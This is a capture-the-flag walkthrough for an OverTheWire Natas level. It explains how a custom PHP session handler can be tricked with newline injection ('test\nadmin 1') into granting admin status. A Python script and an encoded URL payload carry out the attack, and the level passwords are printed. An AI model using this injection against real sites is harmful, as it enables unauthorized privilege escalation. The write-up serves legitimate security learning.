As soon as you login to the level, you are greeted with a message saying that “You are logged in as a regular user. Login as an admin to retrieve credentials for natas21”. Looking at the sourcecode, we see a lots of stuffs.
<? function debug($msg) { /* {{{ */ if(array_key_exists("debug", $_GET)) { print "DEBUG: $msg<br>"; } } /* }}} */ function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas21\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; } } /* }}} */ /* we don't need this */ function myopen($path, $name) { //debug("MYOPEN $path $name"); return true; } /* we don't need this */ function myclose() { //debug("MYCLOSE"); return true; } function myread($sid) { debug("MYREAD $sid"); if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return ""; } $filename = session_save_path() . "/" . "mysess_" . $sid; if(!file_exists($filename)) { debug("Session file doesn't exist"); return ""; } debug("Reading from ". $filename); $data = file_get_contents($filename); $_SESSION = array(); foreach(explode("\n", $data) as $line) { debug("Read [$line]"); $parts = explode(" ", $line, 2); if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; } return session_encode(); } function mywrite($sid, $data) { // $data contains the serialized version of $_SESSION // but our encoding is better debug("MYWRITE $sid $data"); // make sure the sid is alnum only!! if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return; } $filename = session_save_path() . "/" . "mysess_" . $sid; $data = ""; debug("Saving in ". $filename); ksort($_SESSION); foreach($_SESSION as $key => $value) { debug("$key => $value"); $data .= "$key $value\n"; } file_put_contents($filename, $data); chmod($filename, 0600); } /* we don't need this */ function mydestroy($sid) { //debug("MYDESTROY $sid"); return true; } /* we don't need this */ function mygarbage($t) { //debug("MYGARBAGE $t"); return true; } session_set_save_handler( "myopen", "myclose", "myread", "mywrite", "mydestroy", "mygarbage"); session_start(); if(array_key_exists("name", $_REQUEST)) { $_SESSION["name"] = $_REQUEST["name"]; debug("Name set to " . $_REQUEST["name"]); } print_credentials(); $name = ""; if(array_key_exists("name", $_SESSION)) { $name = $_SESSION["name"]; } ?>
Let’s look at each function and see what it does:
- debug($msg) just turn on debug. You can try it by adding “/index.php?debug” at the end of the url and hit enter to see the debug messages, $msg.
- print_credentials() will print natas21 username and password if the following conditionals are satisfied:
- $_SESSION is true if there is an existing session. The array $_SESSION is not empty.
- array_key_exists(“admin”, $_SESSION) is true if “admin” key is set in $_SESSION.
- $_SESSION[“admin”] == 1 is true if the value associated with the key “admin” in $_SESSION is set to 1
- myopen($path, $name) always return true.
- myclose() always return true.
- myread($sid) has several parts
- The first if(strspn….) statement check if the $sid contains characters that is within the long string of characters. If it is not, return “Invalid SID”. Otherwise, continue.
- Then, it check to see if the path exist for the file call /mysess_$sid. For example, if $sid is abcdefg, it is checking for the file mysess_abcdefg. If the file exist, continue.
- Here, we see that the content of the file is save in $data and the foreach loop take each new line of $data and put it in $line. Then, it takes each space separated word in each $line and put them in an array call $parts. If the first part ($parts[0]) is not an empty string, then it will use the first part as the session key and the second part ($parts[1]) as the value corresponding to that key.
- mywrite($sid, $data) also has several parts
- The first if(strspn …) does the same check for valid $sid in myread()
- The same $filename is created using the $sid.
- The key is sorted in $_SESSION and the foreach loop take the pair of $key and corresponding $value and add it as a new line in $data. The $data is then write to the $filename.
- mydestroy($sid) always return true.
- mygarbage($t) always return true.
- main interface does the following:
- session_start().
- check name is in the $_REQUEST, if so, set the $_SESSION[“name”] to $_REQUEST[“name”]. If we input “test” as a name, it will correspond “test” as the
- print_credentials()
- set $name to empty string and check if “name” is in the $_SESSION, if so, set the variable $name to $_SESSION[“name”]
So this seem to be a long explanation of the code but the most important part is the myread() and mywrite(). Especially in mywrite(), it is writing each $key and $value pair with a new line. We know from print_credentials(), we need a $key and $value pair of “admin” and 1 to get access to the next password. If we add a line “admin 1” in the file, the myread() function will read it out with no problem. So our input must be include “admin 1” on a newline. For example, if we put “test” and hit enter. We get a line like below in the file.
test
What we need is two lines like this.
test admin 1
So by enter “test” plus newline plus “admin 1”, we should be able to get the password. We can code this in python as following:
#!/bin/python3 import requests user = "natas20" passwd = "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF" url = "http://"+user+".natas.labs.overthewire.org" hack = dict(name="test\nadmin 1") session = requests.Session() session.post(url, auth=(user, passwd), data=hack) httpreq = session.get(url, auth=(user, passwd)) print (httpreq.content)
From the printout of the contents, we found the next password.
IFekPyrQXftziDEsUr3x21sYuahypdgJ
We can also bypass using python and input this straight into the url as follow.
http://natas20.natas.labs.overthewire.org/index.php?debug&name=test%0Aadmin%201
Additional resources: